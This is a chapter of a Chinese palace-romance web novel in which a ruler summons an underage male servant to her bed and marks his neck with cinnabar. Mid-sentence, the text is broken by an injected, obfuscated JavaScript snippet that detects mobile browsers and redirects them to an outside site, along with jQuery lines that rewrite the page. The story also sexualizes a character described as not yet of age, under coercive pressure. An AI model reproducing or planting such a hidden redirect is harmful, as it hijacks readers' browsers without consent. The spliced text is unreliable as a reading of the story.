10. chapter10

作品:《执君入掌

    祁钰刚结束了一天的学习,见没有下人在这儿守着,就有些劳累脑瓜疼的瘫倒了稍显清冷的床榻上,刚想静静的歇会儿,却被紊琒姑姑传唤过去。


    祁钰只好在一旁侍候着,听着紊琒姑姑的发号施令。


    紊琒姑姑却有些严肃。


    “君上今晚让你过去清乐宫侍寝,你要提前做好准备,千万不要扰了君上的兴致。”


    祁钰一脸诧异的叹道:“姑姑,奴婢还未到授巾之年,怎可行周公之礼?”


    紊琒笑着开口:“君上选中了你,这就是你的福气,至于那些其余琐事,抛之脑后即可,不去关注,你不过还有月余授巾,早些晚些大可不必计较得那样严明。”


    祁钰一脸懵,完全不知道一会儿会发生什么。


    紊琒见他有些失语,轻笑道:“这可是求都求不来的福分,先前教你的那个宫中男侍,你瞧人家的样貌、身段、学识那个不是一顶一的好?就这君上都没正眼瞧过,更别提能有你这样的福气了。”


    “到时候,君上让你怎么做,听就是了,给君上哄开心了,日后想要什么没有?”


    紊琒一脸忧心的劝导,她是真的有些害怕这毛头小子惹得君上不快。


    祁钰只好怏怏的点点头。


    紊琒又打点了些,随即令小厮将他带下去沐浴。


    祁钰这是第一次知道原来沐浴竟也如此繁琐,他感觉自己身上要被活活的拔下一层皮……


    君凌用完晚膳,梳洗完靠在软榻上看着些闲书,这些是帝师要求她看的,说是能滋补她那颗有些烦躁的心。


    不一会儿,祁钰便被下人带了上来。


    清乐宫装扮的古朴雅致,完全就是按照君凌的审美所建造,没有很大手笔的铺张浪费以及奢靡之风,倒是有些清新脱俗。


    祁钰第一次见到这样的宫殿,眸子不由自主的扩张些,他原以为君上的宫殿会是那种极具繁琐的珠宝堆砌而成,却没想到竟如此雅致。


    因紊琒姑姑的安排,下人们又是给他梳洗,又是换衣的,完全没了平日里懒散的模样,这样一看,眉眼间倒是更像帝师了。


    君凌眼神亮了亮,慵懒的挥手示意下人都下去。


    下人也不敢再叨扰君上,应声而出,下人乖乖的关上房门。


    房间内只有君凌和祁钰两人,倒像是两人刚见面之后君凌调戏他的那副场景。


    清乐宫中并没有熏香,但却有一股若有若无的清香,很是新人心脾,祁钰不自觉的闭眼深吸了口气,他总觉得像这样美好的时光是不多见的。


    祁钰有些害怕的咽了咽口水,连带不由自主的把身上的衣服裹得紧了些。他心中不知道这是怎样的一个虎口,也不知道自己是否就是那个待宰的羔羊。


    见君凌迟迟没有叫自己过去,祁钰也不敢乱动,只好愣愣的定在那里。


    君凌把书放下,抬眸看向他,眉眼含情的唤道:“过来”。


    祁钰抬眸看了眼君上,只见她满是懒散,但尊贵之气难掩,眉间似有若无的淡淡愁容以及垂下来的发丝都显得很是俏丽。


    祁钰听话的走近,跪坐在地上等候君凌的发落。


    君凌见他也穿着与帝师相似的白色衣裳,很是清冷高贵,眉眼之间也与帝师很是相似,轻笑着,她心中暗道:“果然还是紊琒的眼光。”


    君凌有些冰凉的手轻抬,抚上他的眉眼,悄悄摩挲着,仿佛是在感受着些什么难得的宝物,像动物的触角一般痒痒的勾动着祁钰的心。


    他一时之间也有些愣神,全然不知道紊琒教导他的话。


    君凌开口,嗓音有些沙哑:“你的眉眼很是好看,倒真是让朕瞧不够呢。”


    祁钰顺着君凌的话说道:“君上喜欢便好。”


    “那些东西都学的如何了?”


    “……”


    “怎么突然不说话了?”君凌一脸打探道模样,仿佛是在透过祁钰看向另外一个人。


    “君上,恕奴婢惶恐。”祁钰颤抖着敛下眸子,顺带着连头也乖乖的垂了下去。


    殿内烛火摇曳生姿,跳动的火苗映照在两人眸中和脸上,尽显生机和活力。


    君凌嗤笑,满脸的无所谓,是啊,这种事他会惶恐,那与之相似的帝师呢,会不会也与他这般惶恐呢?


    君凌又问,指间却不老实的从眉眼滑落到祁钰的颈间,轻轻摩挲着:“还未授巾吧……”


    君凌皱了皱眉,却觉得这人哪里都好,就是颈间少了个红痣,若是能点上个难以消褪的红痣,这样看起来也更和谐一些。


    祁钰眨巴着亮亮的大眼睛,睫毛轻轻颤动,一副任人欺侮的模样,当真是有些可爱的紧。


    身子随着君凌的动作,有些害怕的瑟缩起来。


    君凌轻笑着抬起他的下巴,指腹粗暴的蹂躏他泛红的唇:“你不用害怕,授巾之前朕不会强迫你,嗯?”


    祁钰似懂非懂的点了点头。


    君凌心情不错,下了床就往梳妆台前去,走了几步,扭头看向祁钰:“还不过来?”


    祁钰一脸顺从的起身走过去,他不明白君上为何行事如此古怪,明明宣了他侍寝却又口头声称不碰他,尽管这与他心中所想有一致的方面。


    君凌自顾自的坐下,坐在梳妆台前看了眼自己的妆发,随即轻轻捻起袖子,往上理了理,指尖拿起一旁崭新的毛笔,先是闲适的将笔尖浸湿。


    待到笔尖已经湿透,又伸手拿起一旁的压好的朱砂粉,拿起毛笔轻轻一点,顿时,笔尖便染上了一丝赤色。


    君凌轻唤:“过来。”


    祁钰又凑近了些,不明白为何君上会拿起一只毛笔蘸了些朱砂,他猜不透君凌的心思。


    “把衣服脱了”君凌淡淡道。


    一旁的祁钰吓的睁大了双眼:“君上,您不是说奴婢未授巾前不会动奴婢分毫吗?”


    君凌轻笑:“不过是脱掉外衫而已,屋里炉火旺盛,仔细穿这么些一会儿发热了。”


    祁钰不敢反驳,只好将外衫脱下,顿觉清凉不少。


    这时,君凌凑近他,一把桎梏住他的肩膀,力道有些大,倒令他有些动弹不得。


    祁钰害怕的闭起了眼睛,身子瑟缩着。


    只觉颈部先是一片湿热,后是一片冰凉,君凌的呼吸声凑近他耳边,显得很是明显。


    待到颈部没有异样的感觉了,祁钰这才缓缓睁开眼,见君上竟一脸托腮的看着自己,像是在看着她满意的作品似的。


    祁钰有些心痒,不明白君上刚刚做了什么,有些懵。


    待到那颈部的朱砂干了之后,任凭怎么蹭都蹭不掉时,君凌摸着祁钰颤抖的指尖,引导他抚上他自己的脖颈。


    “这枚红


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141172|196344||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    痣,很适合你,就留着吧。”君凌淡然开口,仿佛这只是一件很平常的小事。


    屋内烛火摇曳着两人的身影,君凌起身,见他跪的时间有些久了,开口:“起来吧,跪的久了身子会不舒服。”


    “是,君上!”


    祁钰起身,跪的久了,腿部有些发麻,如若不是君上刚刚提醒,想必是现如今都没有知觉了。


    他颤颤巍巍的起身,君凌见状,一把扶住他。


    祁钰有些重心不稳的倒在君凌怀中,这一刻,他倒觉得有些心安。


    “朕抱你去榻上可好?”君凌挑了挑眉,她身上的肌肉很是劲瘦,虽看起来柔柔弱弱的,但关键时刻还是很有劲儿的。


    祁钰脸色涨的通红,见君上还在居高临下的打探自己,有些难受的双手捂住脸:“君上……”


    “放心,不会动你的,安心安寝便好。”


    君凌将他轻放在软榻上。


    祁钰只觉得自己的心脏快速跳动的自己有些受不了,他强压下心中的悸动,深呼吸了几次才缓过来。


    君凌吹灭红烛,房间内顿时陷入一片漆黑,祁钰这一日本就困倦的要命,还没等君凌躺下他便闭上眼睛,安静的歇下了。


    君凌看着身旁的人早已呼吸平稳,轻笑几声,也歇下了。


    与此同时的南溪殿,林清书依旧一人独守空房,他有些幽怨的盯着房门,心中有些嗔怪姐姐怎么还不过来,明明自己都已经病成这样了,为什么姐姐还不来看自己。


    他就这么等啊等啊,一直等到深夜,床头柜上的汤药也早已放凉。


    他殿里的小厮刚准备把那汤药拿过去热一下,却被他制止住,一把攥住他的手腕,眼眶微红:“君上今晚去君后屋里了?”


    小厮见淑君心情不太好,又病着,也不敢再开口,唯恐刺激到了他。


    “说,不说就罚你去领二十大板。”


    “别,淑君,奴说还不行嘛,听新来那男宠宫中的人说的,说紊琒姑姑去了他们殿里,估计是召幸了他去。”


    林清书一脸不屑,语气间满是气愤:“不过是个没名没分的,不知道是使了什么小计俩,竟敢班门弄斧,勾搭君上!”


    小厮顺着他的话说下去:“听说还没授巾呢,就被君上召幸了去,君上还从未这样过……”


    “闭嘴。”林清书不想再听小厮说那些令他讨厌的话了,只好怏怏的令他住嘴。


    小厮安慰道:“淑君,再怎么样这汤药您该喝也得喝不是,没准儿君上今晚本想召幸您来着,可您这不是病着侍不了寝,所以才便宜了那个男宠吗?”


    林清书原本还有些啜泣,听见小厮安慰的话,就慢慢止住了哭泣,一脸不信的打探:“真的?”


    “千真万确啊,您瞧,君上不也没召幸君后吗?”


    林清书听到这里,才缓了一口气。


    幸得赵文也没有侍寝,不然他真的是要被气死。


    “行了,你去赶紧把汤药热好,端过来,本君得今早好起来,不能白白便宜了那个贱人!”


    小厮见主子终于振作起来,也很开心,连忙去热汤药,不久后便摇着扇子端了过来。


    “淑君,小心烫。”小厮将汤药碗端与林清书。


    林清书也不管烫不烫了,端起就要往嘴里灌,希望他自己的病情能尽快好起来……